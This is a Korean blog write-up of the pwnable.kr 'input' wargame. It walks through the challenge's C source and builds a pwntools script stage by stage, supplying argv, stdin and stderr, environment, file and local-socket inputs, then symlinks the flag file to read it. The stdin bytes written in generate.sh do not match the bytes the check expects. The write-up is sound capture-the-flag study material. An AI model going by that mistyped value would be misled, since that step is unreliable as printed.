일단 input.c 파일부터 보자.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
한 문제 안에 5가지의 문제가 있다..
서로 다른 문제니까 위에서부터 하나씩 풀면 될 것 같음.
Stage 1
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
이 부분을 통과하면 된다.
if문 조건을 전부 통과해야 하는데,,
파이썬으로 짜보자. 참고로 ssh 접속하자마자 보이는 문구 중에, /tmp 디렉토리를 이용하라고 했으니까
exploit 코드는 /tmp에 디렉토리를 하나 만들고 그 안에 넣어줘야 한다.
#exploit.py
from pwn import *
argvs = [str(i) for i in range(100)]
# 0~99의 값을 입력
argvs[0] = "/home/input2/input"
argvs[ord('A')] = '\x00'
argvs[ord('B')] = '\x20\x0a\x0d'
target = process(argv=argvs)
target.interactive()
ord는 파이썬 내장함수인데 아스키코드의 값을 반환해준다.
argvs[ord('A')] 대신 argvs[65]를 써도 똑같음.
이런식으로 넣어주고 python exploit.py를 실행하면,
일단 Stage 1 Clear! 문구가 등장.
이제 여기에 추가로 Stage 2에 대한 코드를 넣어주면 되겠다.
Stage 2
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
파일 디스크립터에 대한 내용임.
토들러 1번에서 fd를 공부했으니 read함수가 fd를 이용한다는 것을 안다.
0은 표준입력(stdin), 2는 표준에러(stderr)이다.
memcmp()함수를 이용해서 buf에서 읽어들인 4바이트가 해당 문자열과 같은지를 검사한다.
stdin과 stderr을 이용해 넘겨주는 값을 설정해주면 될듯.
일단 다음과 같이 쉘 코드를 작성한 sh파일을 만든다.
#generate.sh
python -c 'print "\x01\x0a\x00\xff"' > /tmp/bigfrog/stdin
python -c 'print "\x00\x0a\x02\xff"' > /tmp/bigfrog/stderr
실행하기 위해 chmod +x 로 실행권한을 주고..
./generate.sh를 실행해주면 디렉토리 내에 stdin과 stderr이 생성된다.
그리고나서,
#exploit.py
from pwn import *
(중략)...
target = process(argv=argvs, stdin=open("/tmp/bigfrog/stdin", "r"), stderr=open("/tmp/bigfrog/stderr", "r"))
target.interactive()
process부분에 위와 같이 추가해준다. open함수를 이용해 미리 만들어둔 stdin,stderr 파일을 읽어온 것이다.
이후에 다시 python exploit.py로 실행해주면 Stage 2도 클리어.
Stage 3
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
3번은 환경변수에 대한 문제인데, FTZ문제를 풀어봤으니까 환경변수 설정하는건 쉽다.
getenv함수는 환경변수에 저장된 값을 불러오는 함수니까
deadbeef 문자열의 환경변수를 cafebabe로 설정해주면 됨.
#exploit.py
from pwn import *
...(중략)
env = {'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}
target = process(argv=argvs, stdin=open("/tmp/bigfrog/stdin", "r"), stderr=open("/tmp/bigfrog/stderr", "r"),env=env)
target.interactive()
process에 env= 부분도 반드시 넣어줘야 함.
Stage 3도 클리어
Stage 4
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
\x0a라는 파일을 읽기모드로 열어서 4바이트 읽어오는데 그게 \x00\x00\x00\x00이어야 함.
그럼 해줘야 하는 일은
1. \x0a라는 파일을 만들고
2. \x00\x00\x00\x00을 입력해주면 된다.
#exploit.py
from pwn import *
...(중략)
file = open("\x0a","w")
file.write("\x00\x00\x00\x00")
file.close()
target = process(argv=argvs, stdin=open("/tmp/bigfrog/stdin", "r"), stderr=open("/tmp/bigfrog/stderr", "r"),env=env)
target.interactive()
Stage 4 클리어.
Stage 5
Stage 5는 소켓에 대한 내용이다.
소켓이 약간 설명할게 있긴 한데 나중에 따로 올리는게 나을듯.
AF_INET을 사용하니까 IPv4 프로토콜을 사용하고,
SOCK_STREAM을 사용하니까 TCP/IP를 사용한다는 것을 알 수 있다.
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
여기서 대부분의 if는 문제를 위해 풀어야 될 부분이라기 보다는, 소켓 프로그래밍에 원래 있는 예외처리 부분이다.
그래서 사실 딱히 신경 안쓰고 넘어가도 되는데,
필요한 부분만 찾아보자.
saddr.sin_port = htons( atoi(argv['C']) );
이 부분은 포트번호를 지정해주는 부분인데,
argvs[67]부분을 포트번호로 설정해준다는 것이다.
따라서 저 부분이랑
if( recv(cd, buf, 4, 0) != 4 )
return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4))
return 0;
이 부분 정도만 보면 될 것 같다.
여기서는 recv()함수로 소켓으로부터 데이터를 수신하는데, 수신한 데이터가 deadbeef면 된다.
따라서 우리는 send()함수로 저 문자열을 보내주면 될 것 같다.
#exploit.py
from pwn import *
...(중략)
argvs[ord('C')] = '4000'
target = process(argv=argvs, stdin=open("/tmp/bigfrog/stdin", "r"), stderr=open("/tmp/bigfrog/stderr", "r"),env=env)
connect = remote('localhost',4000) #포트번호는 4000으로 지정해줬다.
connect.send('\xde\xad\xbe\xef')
target.interactive()
이렇게 하면 Stage 5까지 클리어가 성공한다.
최종 익스플로잇 코드는
#exploit.py
from pwn import *
argvs = [str(i) for i in range(100)]
argvs[0] = "/home/input2/input"
argvs[ord('A')] = '\x00'
argvs[ord('B')] = '\x20\x0a\x0d'
argvs[ord('C')] = '4000'
env = {'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}
file = open("\x0a","w")
file.write("\x00\x00\x00\x00")
file.close()
target = process(argv=argvs, stdin=open("/tmp/bigfrog/stdin", "r"), stderr=open("/tmp/bigfrog/stderr", "r"),env=env)
connect = remote('localhost',4000)
connect.send('\xde\xad\xbe\xef')
target.interactive()
근데 여태까지 /tmp 내에 내가 만들어준 디렉토리에서 작업을 했는데,
디렉토리 내에 flag파일이 없어서 그런지 flag가 나오질 않는다.
심볼릭 링크를 이용해 flag 파일에 링크를 걸자.
ln -s /home/input2/flag flag
링크 파일이 생성되었다.
다시 익스플로잇 코드를 실행하자
플래그 획득!!
'System Hacking' 카테고리의 다른 글
[pwnable.kr] mistake (0) | 2019.10.01 |
---|---|
[pwnable.kr] leg (0) | 2019.08.08 |
[pwnable.kr] flag (0) | 2019.07.17 |
[pwnable.kr] bof (0) | 2019.07.17 |
[pwnable.kr] fd (0) | 2019.07.17 |